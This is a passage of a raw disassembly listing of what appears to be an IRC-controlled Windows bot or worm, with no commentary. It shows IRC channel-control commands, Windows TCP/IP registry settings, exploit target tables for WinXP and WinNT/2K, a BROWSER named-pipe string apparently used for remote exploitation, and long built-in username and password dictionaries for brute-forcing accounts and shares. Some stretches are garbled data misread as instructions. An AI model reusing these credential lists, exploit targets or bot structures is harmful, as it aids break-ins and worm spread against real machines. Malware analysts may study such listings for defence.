'SackOpts',0 ; DATA XREF: sub_412267+261o align 4 aEnablepmtubhde db 'EnablePMTUBHDetect',0 ; DATA XREF: sub_412267+253o align 4 aEnablepmtudisc db 'EnablePMTUDiscovery',0 ; DATA XREF: sub_412267+243o aTcpwindowsize db 'TcpWindowSize',0 ; DATA XREF: sub_412267+235o align 10h aGlobalmaxtcpwi db 'GlobalMaxTcpWindowSize',0 ; DATA XREF: sub_412267+224o align 4 aTcp1323opts db 'Tcp1323Opts',0 ; DATA XREF: sub_412267+213o aStricttimewait db 'StrictTimeWaitSeqCheck',0 ; DATA XREF: sub_412267+202o align 4 aTcptimedwaitde db 'TcpTimedWaitDelay',0 ; DATA XREF: sub_412267+1F4o align 10h aMaxuserport db 'MaxUserPort',0 ; DATA XREF: sub_412267+1E6o aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters',0 ; DATA XREF: sub_412267+1E1o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control',0 ; DATA XREF: sub_412267+1D1o align 4 aWaittokillserv db 'WaitToKillServiceT',0 ; DATA XREF: sub_412267+1C7o align 4 a5000 db '5000',0 ; DATA XREF: sub_412267+1C2o align 10h aBan db 'ban',0 ; DATA XREF: sub_412267+1B7o aRModeChanB1 db 'r MODE $chan +b $1',0 ; DATA XREF: sub_412267+1B2o align 4 aHalfop db 'halfop',0 ; DATA XREF: sub_412267+1A5o align 10h aRModeChanH1 db 'r MODE $chan +h $1',0 ; DATA XREF: sub_412267+1A0o align 4 aVoice db 'voice',0 ; DATA XREF: sub_412267+196o align 4 aRModeChanV1 db 'r MODE $chan +v $1',0 ; DATA XREF: sub_412267+191o align 10h aOps db 'ops',0 ; DATA XREF: sub_412267+187o aRModeChanO1 db 'r MODE $chan +o $1',0 ; DATA XREF: sub_412267+182o align 4 aCtc2 db 'ctc2',0 ; DATA XREF: sub_412267+178o align 10h dword_43C760 dd 31242072h, 13A20hdword_43C768 dd 637463h dword_43C76C dd 52502072h, 534D5649h, 31242047h, 13A20haSlap db 'slap',0 ; DATA XREF: sub_412267+15Ao align 4 aRPrivmsg1Slaps db 'r PRIVMSG $1 slaps for You!!',0 ; DATA XREF: sub_412267+155o align 4 aSlaps db 'slaps',0 ; DATA XREF: sub_412267+14Bo align 4 aRPrivmsg1GodDa db 'r PRIVMSG $1 god damnit,hard bitchslaps for you!!',0 ; DATA XREF: sub_412267+146o align 10h dword_43C7E0 dd 0EFFFC481h, 44FFFFh, 43C828hdword_43C7EC dd 42Ah dword_43C7F0 dd 3E8h dword_43C7F4 dd 258h byte_43C7F8 db 0 ; DATA XREF: sub_4128D4+1FAr ; sub_4128D4+2DBr align 4 dd offset aWinxpSp0Sp1 ; "WinXP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_43C810 dd 20804h ; sub_4128D4+2F4o ... dword_43C814 dd 158h aWinxpSp0Sp1 db 'WinXP (SP0+SP1)',0 ; DATA XREF: .text:0043C7FCo aWinnt42kSp0Sp4 db 'WinNT4,2K (SP0-SP4)',0 ; --------------------------------------------------------------------------- loc_43C83C: ; DATA XREF: sub_4128D4+21Co ; sub_41391C+3CEo jmp short near ptr dword_43C840 ; --------------------------------------------------------------------------- align 10h dword_43C840 dd 0 dword_43C844 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; sub_41391C+2EEo ... dword_43C858 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; sub_41391C+27Eo aSPipeBrowser db '\\%s\pipe\BROWSER',0 ; DATA XREF: sub_4128D4+77o align 10h off_43C880 dd offset byte_44D6A4 ; DATA XREF: .text:004137CAr ; .text:004137D2o dd offset aSystem_0 ; "SYSTEM" dd offset aAdm ; "adm" dd offset aAdmins ; "admins" dd offset aAdmin ; "ADMIN" dd offset aAdministrator ; "Administrator" dd offset aAdministrador ; "Administrador" dd offset aAdministrateur ; "Administrateur" dd offset aAdministrada ; "Administrada" dd offset aAdministratoro ; "Administratoro" dd offset aAdministrado_0 ; "Administrador'" dd offset aAdministratore ; "Administratore" dd offset aAdministratori ; "Administratori" dd offset aAdministration ; "Administration" dd offset aAdministrators ; "Administrators" dd offset aManager ; "manager" dd offset aOwner ; "owner" dd offset aRoot ; "root" dd offset aR00t ; "r00t" dd offset aRdp ; "rdp" dd offset aBillGates ; "bill gates" dd offset aGuest_0 ; "guest" dd offset aDefault_0 ; "default" dd offset a31337 ; "31337" dd offset a@_6 ; "!@" dd offset a@_5 ; "!@#" dd offset a@_4 ; "!@#$" dd offset a@_3 ; "!@#$%" dd offset a@_2 ; "!@#$%^" dd offset a@_0 ; "!@#$%^&" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset dword_433F14 dd offset off_43D50C dd offset dword_433F30 dd offset dword_433F38 dd offset a1_0 ; "1" dd offset aQaz ; "qaz" dd offset aUsers ; "users" dd offset aBillgates ; "billgates" dd offset aMs_user ; "MS_USER" dd offset aM_4 ; "m$" dd offset aSecret ; "secret" dd offset aManager ; "manager" dd offset aAccess ; "access" dd offset aAccount ; "account" dd offset aAccounting ; "accounting" dd offset aAccounts ; "accounts" dd offset aBoss ; "BOSS" dd offset asc_433E88 ; "X" align 10h off_43C950 dd offset byte_44D6A4 ; DATA XREF: sub_4135E8+3r ; sub_4135E8+Fo dd offset aSystem_0 ; "SYSTEM" dd offset aAdm ; "adm" dd offset aAdmins ; "admins" dd offset aAdmin ; "ADMIN" dd offset aAdministrator ; "Administrator" dd offset aAdministrador ; "Administrador" dd offset aAdministrateur ; "Administrateur" dd offset aAdministrada ; "Administrada" dd offset aAdministratoro ; "Administratoro" dd offset aAdministrado_0 ; "Administrador'" dd offset aAdministratore ; "Administratore" dd offset aAdministratori ; "Administratori" dd offset aAdministration ; "Administration" dd offset aAdministrators ; "Administrators" dd offset aAdmin_0 ; "admin" dd offset aAdmin123 ; "admin123" dd offset aAdministrato_0 ; "administrator" dd offset aManager ; "manager" dd offset aOwner ; "owner" dd offset aBoss ; "BOSS" dd offset a31337 ; "31337" dd offset asc_432D3C ; "x" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxx_0 ; "xXx" dd offset a@_4 ; "!@#$" dd offset a@_3 ; "!@#$%" dd offset a@_2 ; "!@#$%^" dd offset a@_0 ; "!@#$%^&" dd offset a@_1 ; "!@#$%^&*" dd offset asc_43D468 ; "%" dd offset asc_43D464 ; "%%" dd offset asc_43D460 ; "%%%" dd offset asc_43D458 ; "%%%%" dd offset asc_43D450 ; "%%%%%" dd offset a0 ; "0" dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a007 ; "007" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1_0 ; "1" dd offset a110 ; "110" dd offset a111 ; "111" dd offset a111 ; "111" dd offset a111111 ; "111111" dd offset a11111111 ; "11111111" dd offset a11111111 ; "11111111" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1234qwer ; "1234qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a88888888 ; "88888888" dd offset a31337 ; "31337" dd offset aAussie ; "aussie" dd offset dword_433F14 dd offset off_43D50C dd offset aAaaa ; "AAAA" dd offset aAsdf ; "asdf" dd offset aAbcd ; "abcd" dd offset off_43D30C dd offset aAbc123 ; "abc123" dd offset aAbcd ; "abcd" dd offset aAcademia ; "academia" dd offset aAcademic ; "academic" dd offset aAccess ; "access" dd offset aAccount ; "account" dd offset aAccounting ; "accounting" dd offset aAccounts ; "accounts" dd offset aAnything ; "anything" dd offset aApache ; "apache" dd offset aBackdoor ; "backdoor" dd offset aBillGates ; "bill gates" dd offset aBlack ; "black" dd offset aBillgates ; "billgates" dd offset aCanada ; "Canada" ; --------------------------------------------------------------------------- mov ah, 0D2h inc ebx add [eax-63FFBC2Eh], ch rol byte ptr [ebx+0], cl nop rol byte ptr [ebx+0], cl test dl, dl inc ebx add [edx+edx*8+43h], bh add [edx+edx*8+43h], dh add [eax-2Bh], dl inc ebx add [eax-2Eh], ch inc ebx add [eax-2Eh], ah inc ebx add [eax-2Eh], bl inc ebx add [edx+edx*8+43h], cl add [edx+edx*8], bh inc ebx add [eax], ch rol byte ptr [ebx+0], cl and dl, dl inc ebx add [eax], bl rol byte ptr [ebx+0], cl adc dl, dl inc ebx add [eax], cl rol byte ptr [ebx+0], cl add dl, dl inc ebx add al, bh rol dword ptr [ebx+0], 1 push eax aad 43h add ah, ch rol dword ptr [ebx+0], 1 fcom st(1) inc ebx add [eax], dh aas inc ebx add ah, dl rol dword ptr [ebx+0], 1 rcl cl, 1 inc ebx add [ebx+ebx*2], al inc ebx loc_43CB47: ; CODE XREF: .text:0043CB74j add ah, cl rol dword ptr [ebx+0], 1 rcl cl, 43h add [eax-4FFFBC2Fh], bh rol dword ptr [ebx+0], 1 test al, 0D1h inc ebx add [eax-67FFBC2Fh], ah rol dword ptr [ebx+0], 1 nop rol dword ptr [ebx+0], 1 pop eax aad 43h add [eax-7FFFBC2Fh], cl rol dword ptr [ebx+0], 1 jl short loc_43CB47 inc ebx add [ecx+edx*8+43h], dh add [ecx+edx*8+43h], ch add [ecx+edx*8+43h], ah add [ecx+edx*8+43h], bl add [ecx+edx*8+43h], dl add [eax], dl aad 43h add [ecx+edx*8+43h], cl add [ecx+edx*8+43h], al add [ecx+edx*8], bh inc ebx add [eax], dh rol dword ptr [ebx+0], 1 sub cl, dl inc ebx add [eax], ah rol dword ptr [ebx+0], 1 ; --------------------------------------------------------------------------- dd offset aMs_user ; "MS_USER" dd offset aMicrosoft ; "microsoft" dd offset aMachine ; "machine" dd offset aMacintosh ; "macintosh" dd offset aMack ; "mack" dd offset aMs ; "MS" dd offset aMypass ; "mypass" dd offset aMypass123 ; "mypass123" dd offset aMypc ; "mypc" dd offset aMypc123 ; "mypc123" dd offset aM_3 ; "M$" dd offset aMysql ; "mysql" dd offset aMssql ; "mssql" dd offset aMyvps ; "myvps" dd offset aMypc ; "mypc" dd offset aNull_1 ; "NULL" dd offset aOwn ; "own" dd offset aOwned ; "owned" dd offset aOwner ; "owner" dd offset aPass_0 ; "pass" dd offset aPass123 ; "pass123" dd offset aPass1234 ; "pass1234" dd offset aPasswd ; "passwd" dd offset aPassword ; "password" dd offset aPassword_0 ; "PASSWORD" dd offset aPassword_1 ; "Password" dd offset aPassword1 ; "password1" dd offset aPassword123 ; "password123" dd offset aPw ; "pw" dd offset aPw123 ; "pw123" dd offset aPwd ; "pwd" dd offset aPimp ; "pimp" dd offset aPorn ; "porn" dd offset dword_433F38 dd offset aQaz ; "qaz" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRdp ; "rdp" dd offset aR00t ; "r00t" dd offset aRemote ; "remote" dd offset aRoot ; "root" dd offset aRooted ; "rooted" dd offset aTest ; "Test" dd offset aTest123 ; "test123" dd offset aTester ; "tester" dd offset aTesting ; "testing" dd offset aTrojan ; "trojan" dd offset aUser1 ; "user1" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUserpassword ; "userpassword" dd offset aSa ; "sa" dd offset aSatan ; "satan" dd offset aSchool ; "school" dd offset aScorpion ; "scorpion" dd offset aSecurity ; "security" dd offset aSuper ; "super" dd offset aSuperuser ; "superuser" dd offset aSupport ; "support" dd offset aSys ; "sys" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aSecret ; "secret" dd offset aSecrets ; "secrets" dd offset aSex_0 ; "sex" dd offset aSexy ; "sexy" dd offset aSlave ; "slave" dd offset aStudents ; "students" dd offset aServer ; "SERVER" dd offset aSql ; "sql" dd offset aSqlpass ; "sqlpass" dd offset aUsers ; "users" dd offset off_43CF08 dd offset off_43CF04 dd offset aVirus ; "virus" dd offset aVps ; "vps" dd offset aWin2000 ; "win2000" dd offset aWin2k ; "win2k" dd offset aWindose ; "windose" dd offset aWindows ; "windows" dd offset aWindows2k ; "windows2k" dd offset aWindows95 ; "windows95" dd offset aWindows98 ; "windows98" dd offset aWindowsme ; "windowsME" dd offset aWindowsxp ; "WindowsXP" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindoze2k ; "windoze2k" dd offset aWindoze95 ; "windoze95" dd offset aWindoze98 ; "windoze98" dd offset aWindozeme ; "windozeME" dd offset aWindozexp ; "windozexp" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinnt ; "winnt" dd offset aWinpass ; "winpass" dd offset aWinston ; "winston" dd offset aWinxp ; "winxp" dd offset aWired ; "wired" dd offset aWin ; "win" dd offset aWinxp ; "winxp" dd offset aWin2k ; "win2k" dd offset aWindows ; "windows" dd offset aWww ; "www" dd offset asc_432D3C ; "x" dd offset aXfer ; "xfer" dd offset aXp_0 ; "xp" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aXyzzy ; "xyzzy" dd offset aYouwontguessme ; "youwontguessme" dd offset aYxcv ; "yxcv" dd offset aZap ; "zap" dd offset aZxc ; "zxc" dd offset aZxcv ; "zxcv" dd 0 aZxcv db 'zxcv',0 ; DATA XREF: .text:0043CD94o align 4 aZxc db 'zxc',0 ; DATA XREF: .text:0043CD90o aZap db 'zap',0 ; DATA XREF: .text:0043CD8Co aYxcv db 'yxcv',0 ; DATA XREF: .text:0043CD88o align 4 aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .text:0043CD84o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .text:0043CD80o align 4 aXyz db 'xyz',0 ; DATA XREF: .text:0043CD7Co aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .text:0043CD78o align 4 aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .text:0043CD74o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .text:0043CD70o aXxxxxx db 'xxxxxx',0 ; DATA XREF: .text:0043CD6Co align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .text:0043CD68o align 10h aXx db 'xx',0 ; DATA XREF: .text:0043CD5Co align 4 aXp_0 db 'xp',0 ; DATA XREF: .text:0043CD58o align 4 aXfer db 'xfer',0 ; DATA XREF: .text:0043CD54o align 10h aWww db 'www',0 ; DATA XREF: .text:0043CD4Co aWin db 'win',0 ; DATA XREF: .text:0043CD3Co aWired db 'wired',0 ; DATA XREF: .text:0043CD38o align 10h aWinxp db 'winxp',0 ; DATA XREF: .text:0043CD34o ; .text:0043CD40o align 4 aWinston db 'winston',0 ; DATA XREF: .text:0043CD30o aWinpass db 'winpass',0 ; DATA XREF: .text:0043CD2Co aWinnt db 'winnt',0 ; DATA XREF: .text:0043CD28o align 10h aWing db 'wing',0 ; DATA XREF: .text:0043CD24o align 4 aWine db 'wine',0 ; DATA XREF: .text:0043CD20o align 10h aWindozexp db 'windozexp',0 ; DATA XREF: .text:0043CD1Co align 4 aWindozeme db 'windozeME',0 ; DATA XREF: .text:0043CD18o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .text:0043CD14o align 4 aWindoze95 db 'windoze95',0 ; DATA XREF: .text:0043CD10o align 10h aWindoze2k db 'windoze2k',0 ; DATA XREF: .text:0043CD0Co align 4 aWindoze db 'windoze',0 ; DATA XREF: .text:0043CD08o aWindowz db 'windowz',0 ; DATA XREF: .text:0043CD04o aWindowsxp db 'WindowsXP',0 ; DATA XREF: .text:0043CD00o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .text:0043CCFCo align 4 aWindows98 db 'windows98',0 ; DATA XREF: .text:0043CCF8o align 10h aWindows95 db 'windows95',0 ; DATA XREF: .text:0043CCF4o align 4 aWindows2k db 'windows2k',0 ; DATA XREF: .text:0043CCF0o align 4 aWindows db 'windows',0 ; DATA XREF: .text:0043CCECo ; .text:0043CD48o aWindose db 'windose',0 ; DATA XREF: .text:0043CCE8o aWin2k db 'win2k',0 ; DATA XREF: .text:0043CCE4o ; .text:0043CD44o align 10h aWin2000 db 'win2000',0 ; DATA XREF: .text:0043CCE0o aVps db 'vps',0 ; DATA XREF: .text:0043CCDCo aVirus db 'virus',0 ; DATA XREF: .text:0043CCD8o align 4 off_43CF04 dd offset word_636E76 ; DATA XREF: .text:0043CCD4o ; .text:00449108o off_43CF08 dd offset loc_415352+3 ; DATA XREF: sub_41912B:loc_4198BDo ; .text:0043CCD0o aSqlpass db 'sqlpass',0 ; DATA XREF: .text:0043CCC8o aSql db 'sql',0 ; DATA XREF: .text:0043CCC4o aServer db 'SERVER',0 ; DATA XREF: .text:0043CCC0o align 10h aStudents db 'students',0 ; DATA XREF: .text:0043CCBCo align 4 aSlave db 'slave',0 ; DATA XREF: .text:0043CCB8o align 4 aSexy db 'sexy',0 ; DATA XREF: .text:0043CCB4o align 4 aSex_0 db 'sex',0 ; DATA XREF: .text:0043CCB0o aSecrets db 'secrets',0 ; DATA XREF: .text:0043CCACo aSysop db 'sysop',0 ; DATA XREF: .text:0043CCA4o align 10h aSysadmin db 'sysadmin',0 ; DATA XREF: .text:0043CCA0o align 4 aSys db 'sys',0 ; DATA XREF: .text:0043CC9Co aSupport db 'support',0 ; DATA XREF: .text:0043CC98o aSuperuser db 'superuser',0 ; DATA XREF: .text:0043CC94o align 4 aSuper db 'super',0 ; DATA XREF: .text:0043CC90o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .text:0043CC88o align 4 aSchool db 'school',0 ; DATA XREF: .text:0043CC84o align 10h aSatan db 'satan',0 ; DATA XREF: .text:0043CC80o align 4 aSa db 'sa',0 ; DATA XREF: .text:0043CC7Co align 4 aUserpassword db 'userpassword',0 ; DATA XREF: .text:0043CC78o align 4 aUsername db 'username',0 ; DATA XREF: .text:0043CC74o align 4 aUsermane db 'usermane',0 ; DATA XREF: .text:0043CC70o align 4 aUser1 db 'user1',0 ; DATA XREF: .text:0043CC6Co align 4 aTrojan db 'trojan',0 ; DATA XREF: .text:0043CC68o align 4 aTesting db 'testing',0 ; DATA XREF: .text:0043CC64o aTester db 'tester',0 ; DATA XREF: .text:0043CC60o align 4 aTest123 db 'test123',0 ; DATA XREF: .text:0043CC5Co aTest db 'Test',0 ; DATA XREF: .text:0043CC58o align 4 aRooted db 'rooted',0 ; DATA XREF: .text:0043CC54o align 4 aRemote db 'remote',0 ; DATA XREF: .text:0043CC4Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: .text:0043CC40o ; .text:00449114o align 4 aQwert db 'qwert',0 ; DATA XREF: .text:0043CC3Co align 4 aQwer db 'qwer',0 ; DATA XREF: .text:0043CC38o align 4 aQwe db 'qwe',0 ; DATA XREF: .text:0043CC34o aPorn db 'porn',0 ; DATA XREF: .text:0043CC28o align 4 aPimp db 'pimp',0 ; DATA XREF: .text:0043CC24o align 10h aPwd db 'pwd',0 ; DATA XREF: .text:0043CC20o aPw123 db 'pw123',0 ; DATA XREF: .text:0043CC1Co align 4 aPw db 'pw',0 ; DATA XREF: .text:0043CC18o align 10h aPassword123 db 'password123',0 ; DATA XREF: .text:0043CC14o aPassword1 db 'password1',0 ; DATA XREF: .text:0043CC10o align 4 aPassword_1 db 'Password',0 ; DATA XREF: .text:0043CC0Co align 4 aPassword_0 db 'PASSWORD',0 ; DATA XREF: .text:0043CC08o align 10h aPassword db 'password',0 ; DATA XREF: .text:0043CC04o ; .text:004490FCo align 4 aPasswd db 'passwd',0 ; DATA XREF: .text:0043CC00o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: .text:0043CBFCo align 10h aPass123 db 'pass123',0 ; DATA XREF: .text:0043CBF8o aPass_0 db 'pass',0 ; DATA XREF: .text:0043CBF4o ; .text:0044910Co align 10h aOwned db 'owned',0 ; DATA XREF: .text:0043CBECo align 4 aOwn db 'own',0 ; DATA XREF: .text:0043CBE8o aNull_1 db 'NULL',0 ; DATA XREF: .text:0043CBE4o align 4 aMyvps db 'myvps',0 ; DATA XREF: .text:0043CBDCo align 4 aMssql db 'mssql',0 ; DATA XREF: .text:0043CBD8o align 4 aMysql db 'mysql',0 ; DATA XREF: .text:0043CBD4o align 4 aM_3 db 'M$',0 ; DATA XREF: sub_4130E5+10Ao ; .text:0043CBD0o align 10h aMypc123 db 'mypc123',0 ; DATA XREF: .text:0043CBCCo aMypc db 'mypc',0 ; DATA XREF: .text:0043CBC8o ; .text:0043CBE0o align 10h aMypass123 db 'mypass123',0 ; DATA XREF: .text:0043CBC4o align 4 aMypass db 'mypass',0 ; DATA XREF: .text:0043CBC0o align 4 aMs db 'MS',0 ; DATA XREF: .text:0043CBBCo align 4 aMack db 'mack',0 ; DATA XREF: .text:0043CBB8o align 10h aMacintosh db 'macintosh',0 ; DATA XREF: .text:0043CBB4o align 4 aMachine db 'machine',0 ; DATA XREF: .text:0043CBB0o aMicrosoft db 'microsoft',0 ; DATA XREF: .text:0043CBACo align 10h aMyvnc db 'myvnc',0 align 4 aMaster db 'master',0 ; DATA XREF: .text:00449110o align 10h aLoginpass db 'loginpass',0 align 4 aLocal db 'LOCAL',0 align 4 aLogin db 'login',0 align 4 aUnix_0 db 'Unix',0 align 4 aL33t db 'l33t',0 align 4 aL337 db 'l337',0 align 4 aLetmein db 'letmein',0 ; DATA XREF: .text:004490F0o aHaxing db 'haxing',0 align 4 aHax0r db 'hax0r',0 align 4 aHax db 'hax',0 aHacked db 'hacked',0 align 4 aH4x0r db 'h4x0r',0 align 10h aGuessme db 'guessme',0 aGuess db 'guess',0 align 10h aFuckyou db 'fuckyou',0 aFucker db 'fucker',0 align 10h aFucked db 'fucked',0 align 4 aEngland db 'england',0 aEducation db 'education',0 align 4 dd offset byte_554445 dd 782Ah, 33336C65h, 74h, 616D6F64h, 61706E69h, 6F777373h dd 6472h, 616D6F64h, 61706E69h, 7373h, 61706264h, 7373h dd 32316264h, 3433h, 67617264h, 6E6Fh, 6B736564h, 706F74h dd 64616564h, 0 aDave db 'dave',0 align 4 aDatabasepasswo db 'databasepassword',0 align 4 aDatabasepass db 'databasepass',0 align 4 aDatabase db 'database',0 align 4 aDaemon db 'daemon',0 align 10h aD00d db 'd00d',0 align 4 aDefaultpass db 'defaultpass',0 aClosed db 'closed',0 align 4 aClosed_0 db 'closed!',0 aCustomer db 'customer',0 align 10h aChangeme db 'changeme!',0 align 4 aChangeme_0 db 'changeme',0 align 4 aChangethis db 'changethis',0 align 4 aChange db 'change',0 align 4 aCanada db 'Canada',0 ; DATA XREF: sub_41912B+1E9o ; .text:0043CAD8o align 4 aBlack db 'black',0 ; DATA XREF: .text:0043CAD0o align 4 aBackdoor db 'backdoor',0 ; DATA XREF: .text:0043CAC8o align 4 aApache db 'apache',0 ; DATA XREF: .text:0043CAC4o align 10h aAnything db 'anything',0 ; DATA XREF: .text:0043CAC0o align 4 aAcademic db 'academic',0 ; DATA XREF: .text:0043CAACo align 4 aAcademia db 'academia',0 ; DATA XREF: .text:0043CAA8o align 4 aAbc123 db 'abc123',0 ; DATA XREF: .text:0043CAA0o align 4 off_43D30C dd offset byte_636261 ; DATA XREF: .text:0043CA9Co aAbcd db 'abcd',0 ; DATA XREF: .text:0043CA98o ; .text:0043CAA4o align 4 aAsdf db 'asdf',0 ; DATA XREF: .text:0043CA94o align 10h aAaaa db 'AAAA',0 ; DATA XREF: .text:0043CA90o align 4 aAussie db 'aussie',0 ; DATA XREF: .text:0043CA84o align 10h a88888888 db '88888888',0 ; DATA XREF: .text:0043CA7Co align 4 a654321 db '654321',0 ; DATA XREF: .text:0043CA78o ; .text:0044911Co align 4 a54321 db '54321',0 ; DATA XREF: .text:0043CA74o align 4 a123qwe db '123qwe',0 ; DATA XREF: .text:0043CA70o align 4 a123asd db '123asd',0 ; DATA XREF: .text:0043CA6Co align 4 a123abc db '123abc',0 ; DATA XREF: .text:0043CA68o align 4 a1234qwer db '1234qwer',0 ; DATA XREF: .text:0043CA64o align 10h a123467890 db '123467890',0 ; DATA XREF: .text:0043CA60o align 4 a12346789 db '12346789',0 ; DATA XREF: .text:0043CA5Co align 4 a1234678 db '1234678',0 ; DATA XREF: .text:0043CA58o a123467 db '123467',0 ; DATA XREF: .text:0043CA54o align 4 a12346 db '12346',0 ; DATA XREF: .text:0043CA50o align 10h a123456789 db '123456789',0 ; DATA XREF: .text:0043CA4Co align 4 a12345678 db '12345678',0 ; DATA XREF: .text:0043CA48o ; .text:00449118o align 4 a1234567 db '1234567',0 ; DATA XREF: .text:0043CA44o ; .text:004490F8o a123456 db '123456',0 ; DATA XREF: .text:0043CA40o ; .text:00449104o align 4 a12345 db '12345',0 ; DATA XREF: .text:0043CA3Co ; .text:00449100o align 10h a1234 db '1234',0 ; DATA XREF: .text:0043CA38o ; .text:004490ECo align 4 a123123 db '123123',0 ; DATA XREF: .text:0043CA34o align 10h a123 db '123',0 ; DATA XREF: .text:0043CA30o ; .text:off_4490E8o a121212 db '121212',0 ; DATA XREF: .text:0043CA2Co align 4 a121 db '121',0 ; DATA XREF: .text:0043CA28o a12 db '12',0 ; DATA XREF: .text:0043CA24o align 4 a11111111 db '11111111',0 ; DATA XREF: .text:0043CA1Co ; .text:0043CA20o align 10h a111111 db '111111',0 ; DATA XREF: .text:0043CA18o align 4 a111 db '111',0 ; DATA XREF: .text:0043CA10o ; .text:0043CA14o a110 db '110',0 ; DATA XREF: .text:0043CA0Co a0wned db '0wned',0 ; DATA XREF: .text:0043CA04o align 4 a0wn3d db '0wn3d',0 ; DATA XREF: .text:0043CA00o align 10h a007 db '007',0 ; DATA XREF: .text:0043C9FCo a00000000 db '00000000',0 ; DATA XREF: .text:0043C9F8o align 10h a000000 db '000000',0 ; DATA XREF: .text:0043C9F4o align 4 a00000 db '00000',0 ; DATA XREF: .text:0043C9F0o align 10h a0000 db '0000',0 ; DATA XREF: .text:0043C9ECo align 4 a000 db '000',0 ; DATA XREF: .text:0043C9E8o a00 db '00',0 ; DATA XREF: .text:0043C9E4o align 10h asc_43D450 db '%%%%%',0 ; DATA XREF: .text:0043C9DCo align 4 asc_43D458 db '%%%%',0 ; DATA XREF: .text:0043C9D8o align 10h asc_43D460 db '%%%',0 ; DATA XREF: .text:0043C9D4o asc_43D464 db '%%',0 ; DATA XREF: .text:0043C9D0o align 4 asc_43D468: ; DATA XREF: .text:0043C9CCo unicode 0, <%>,0 a@_1 db '!@#$%^&*',0 ; DATA XREF: .text:0043C9C8o align 4 aXxx_0 db 'xXx',0 ; DATA XREF: .text:0043C9B4o aXxxx db 'xxxx',0 ; DATA XREF: .text:0043C9B0o ; .text:0043CD64o align 4 aXxx db 'xxx',0 ; DATA XREF: .text:0043C9ACo ; .text:0043CD60o aAdministrato_0 db 'administrator',0 ; DATA XREF: .text:0043C994o align 4 aAdmin123 db 'admin123',0 ; DATA XREF: .text:0043C990o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .text:0043C98Co ; .text:004490F4o align 4 aBoss db 'BOSS',0 ; DATA XREF: .text:0043C940o ; .text:0043C9A0o align 4 aAccounts db 'accounts',0 ; DATA XREF: .text:0043C93Co ; .text:0043CABCo align 10h aAccounting db 'accounting',0 ; DATA XREF: .text:0043C938o ; .text:0043CAB8o align 4 aAccount db 'account',0 ; DATA XREF: .text:0043C934o ; .text:0043CAB4o aAccess db 'access',0 ; DATA XREF: .text:0043C930o ; .text:0043CAB0o align 4 aSecret db 'secret',0 ; DATA XREF: .text:0043C928o ; .text:0043CCA8o align 4 aM_4 db 'm$',0 ; DATA XREF: .text:0043C924o align 4 aMs_user db 'MS_USER',0 ; DATA XREF: .text:0043C920o ; .text:0043CBA8o aBillgates db 'billgates',0 ; DATA XREF: .text:0043C91Co ; .text:0043CAD4o align 4 aUsers db 'users',0 ; DATA XREF: .text:0043C918o ; .text:0043CCCCo align 4 aQaz db 'qaz',0 ; DATA XREF: .text:0043C914o ; .text:0043CC30o a1_0: ; DATA XREF: .text:0043C910o ; .text:0043CA08o unicode 0, <1>,0 off_43D50C dd offset byte_616161 ; DATA XREF: .text:0043C904o ; .text:0043CA8Co aLinux db 'linux',0 ; DATA XREF: .text:0043C8FCo align 4 aUnix db 'unix',0 ; DATA XREF: .text:0043C8F8o align 10h a@_0 db '!@#$%^&',0 ; DATA XREF: .text:0043C8F4o ; .text:0043C9C4o a@_2 db '!@#$%^',0 ; DATA XREF: .text:0043C8F0o ; .text:0043C9C0o align 10h a@_3 db '!@#$%',0 ; DATA XREF: .text:0043C8ECo ; .text:0043C9BCo align 4 a@_4 db '!@#$',0 ; DATA XREF: .text:0043C8E8o ; .text:0043C9B8o align 10h a@_5 db '!@#',0 ; DATA XREF: .text:0043C8E4o a@_6 db '!@',0 ; DATA XREF: .text:0043C8E0o align 4 a31337 db '31337',0 ; DATA XREF: .text:0043C8DCo ; .text:0043C9A4o ... align 10h aDefault_0 db 'default',0 ; DATA XREF: .text:0043C8D8o aGuest_0 db 'guest',0 ; DATA XREF: .text:0043C8D4o align 10h 